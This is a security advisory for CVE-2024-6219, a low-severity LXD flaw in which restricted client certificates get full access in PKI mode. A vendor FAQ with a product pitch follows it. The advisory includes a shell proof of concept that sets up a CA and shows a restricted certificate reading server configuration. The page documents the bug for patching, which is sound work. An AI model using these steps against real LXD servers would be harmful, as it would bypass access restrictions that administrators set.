CVE-2024-6219

If a server.ca file is present in LXD_DIR at LXD start up, LXD is in "PKI mode". In this mode, all clients must have certificates that have been signed by the CA.

The LXD configuration option core.trust_ca_certificates defaults to false. This means that although the client certificate has been signed by the CA, LXD will additionally add the certificate to the trust store and verify it via mTLS.

When a restricted certificate is added to the trust store in this mode, it's restrictions are not honoured, and the client has full access to LXD.

Details

When authorization was refactored to allow for generalisation (at the time for TLS, RBAC, and OpenFGA, see https://github.com/canonical/lxd/pull/12313), PKI mode did not account for the core.trust_ca_certificates configuration option. When this option is enabled, all CA-signed client certificates are given full access to LXD. This cherry-pick from Incus was added to LXD to fix the issue.

The cherry-pick fixed the immediate issue and allowed full access to LXD for CA-signed client certificates when core.trust_ca_certificates is enabled, but did not consider the behaviour of LXD when core.trust_ca_certificates is disabled.

When core.trust_ca_certificates is false, restrictions that are applied to a certificate should be honoured. Instead, they are being ignored due to the presence of a server.ca file in LXD_DIR.

PoC

# Install/initialize LXD
$ snap install lxd --channel 5.21/stable
$ lxd init --auto
$ lxc config set core.https_address=127.0.0.1:8443

# Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa
$ cp -R /usr/share/easy-rsa "/tmp/pki"
$ export EASYRSA_KEY_SIZE=4096
$ cd /tmp/pki
$ ./easyrsa init-pki
$ echo "lxd" | ./easyrsa build-ca nopass
$ ./easyrsa build-client-full lxd-client nopass
$ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca
$ cp pki/issued/lxd-client.crt ~/snap/lxd/common/config/client.crt
$ cp pki/private/lxd-client.key ~/snap/lxd/common/config/client.key

# Restart daemon.
$ systemctl reload snap.lxd.daemon

# Add a restricted certificate to the trust store.
$ token="$(lxc config trust add --name ca-test --quiet --restricted)"
$ lxc remote add tls "${token}"

# Our client has a CA-signed certificate, but it is restricted, so the client should not be able to view server config.
$ lxc config get tls: core.https_address
127.0.0.1:8443

I believe this vulnerability is low impact because PKI mode is:

1. Not the standard or recommended mode of operation for LXD.
2. While core.trust_ca_certificates defaults to false, we believe that users who enable PKI mode will generally have core.trust_ca_certificates enabled to allow for passwordless PKI with CRL revocation (see https://github.com/canonical/lxd/issues/3832). When this mode is enabled, all clients with CA-signed certificates have root access* anyway.

*Note: If a restricted certificate is added before core.trust_ca_certificates is enabled, the certificate becomes unrestricted. We believe this was the original intention of the PR, but this should be changed to disallow any unintended permission change.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2024-6219 has a CVSS score of 3.8 (Low). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20240403103450-0e7f2b5bf4d2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-6219? CVE-2024-6219 is a low-severity improper authentication vulnerability in github.com/canonical/lxd (go), affecting versions < 0.0.0-20240403103450-0e7f2b5bf4d2. It is fixed in 0.0.0-20240403103450-0e7f2b5bf4d2. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2024-6219? CVE-2024-6219 has a CVSS score of 3.8 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/canonical/lxd are affected by CVE-2024-6219? github.com/canonical/lxd (go) versions < 0.0.0-20240403103450-0e7f2b5bf4d2 is affected.
4. Is there a fix for CVE-2024-6219? Yes. CVE-2024-6219 is fixed in 0.0.0-20240403103450-0e7f2b5bf4d2. Upgrade to this version or later.
5. Is CVE-2024-6219 exploitable, and should I be worried? Whether CVE-2024-6219 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-6219 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-6219? Upgrade github.com/canonical/lxd to 0.0.0-20240403103450-0e7f2b5bf4d2 or later.